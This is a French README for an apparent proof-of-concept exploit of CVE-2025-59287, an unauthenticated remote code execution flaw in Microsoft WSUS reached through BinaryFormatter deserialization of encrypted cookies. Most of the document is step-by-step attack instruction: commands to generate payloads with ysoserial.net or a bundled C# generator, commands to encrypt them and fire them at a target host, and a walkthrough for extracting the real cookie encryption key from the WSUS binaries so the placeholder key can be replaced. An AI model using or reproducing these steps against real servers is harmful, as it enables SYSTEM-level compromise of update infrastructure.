
Preuve de concept d'exploitation pour CVE-2025-59287, une RCE critique non authentifiée dans WSUS via une désérialisation non sécurisée de BinaryFormatter, permettant d'obtenir les privilèges SYSTEM grâce à des cookies chiffrés spécialement conçus.
CVE-2025-59287 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Microsoft Windows Server Update Services (WSUS). La vulnérabilité est causée par une désérialisation non sécurisée des données AuthorizationCookie via BinaryFormatter dans la méthode EncryptionHelper.DecryptData().
Impact : Des attaquants non authentifiés peuvent parvenir à une exécution de code à distance avec les privilèges SYSTEM en envoyant des cookies chiffrés malveillants au point de terminaison GetCookie().
Score CVSS : Critique (9,8)
BinaryFormatter.Deserialize() appelé sur des entrées non fiables sans validation appropriée┌─────────────────┐
│ Attaquant │
│ │
│ 1. Générer │
│ la charge │
│ BinaryFmt │
│ │
│ 2. Chiffrer │
│ la charge │
│ │
│ 3. Envoyer la │
│ requête │
│ SOAP │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Serveur WSUS │
│ │
│ Point de │
│ terminaison │
│ GetCookie() │
│ │
│ DecryptData() │◄─── Vulnérable
│ │
│ BinaryFormatter│◄─── Désérialisation non sécurisée
│ Deserialize() │
│ │
│ Exécuter la │◄─── RCE en tant que SYSTEM
│ charge utile │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # Script d'exploitation principal
├── BinaryFormatterPayloadGenerator.cs # Générateur de charge utile .NET (C#)
├── encrypt_payload.py # Assistant de chiffrement WSUS
├── requirements.txt # Dépendances Python
└── README.md # Ce fichier
pip install -r requirements.txt
ysoserial.net comme alternativeOption A : Utilisation du générateur C# fourni
# Compiler le générateur
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Générer la charge utile
BinaryFormatterPayloadGenerator.exe calc.exe
# Crée : payload_AAAAMMJJHHMMSS.bin
Option B : Utilisation de ysoserial.net (recommandé)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
IMPORTANT : La clé de chiffrement dans encrypt_payload.py est un espace réservé. Pour une exploitation réelle, vous devez :
encrypt_payload.py avec la clé réelle# Utilisation d'un fichier de charge utile (chiffrement à la volée)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Utilisation d'un cookie pré-chiffré
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# Avec HTTPS (port 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# Générer, chiffrer et exploiter en une seule fois
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_CIBLE> -f payload_*.bin
La clé de chiffrement doit être extraite des binaires WSUS pour une exploitation réelle.
Localiser les DLL WSUS :
%ProgramFiles%\Update Services\WebServices\bin\
Ou le répertoire web IIS :
%SystemDrive%\inetpub\wwwroot\wsusadmin\
Ouvrir dans dnSpy (décompilateur .NET gratuit) :
Microsoft.UpdateServices.WebServices.dllRechercher EncryptionHelper :
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() et EncryptData()Modèles courants :
Utiliser WinDbg ou x64dbg :
EncryptionHelper.DecryptData()Utiliser Process Monitor :
Utiliser IDA Pro ou Ghidra :
Utiliser l'utilitaire strings :
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
Une fois la clé réelle obtenue, mettre à jour encrypt_payload.py :
# Remplacer cette ligne dans encrypt_wsus_cookie() :
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # ESPACE RÉSERVÉ
# Par la clé réelle :
key_material = b"CLÉ_RÉELLE_PROVENANT_DES_BINAIRES_WSUS"
Ou la transmettre via la ligne de commande :
python encrypt_payload.py payload.bin -k "CLÉ_RÉELLE"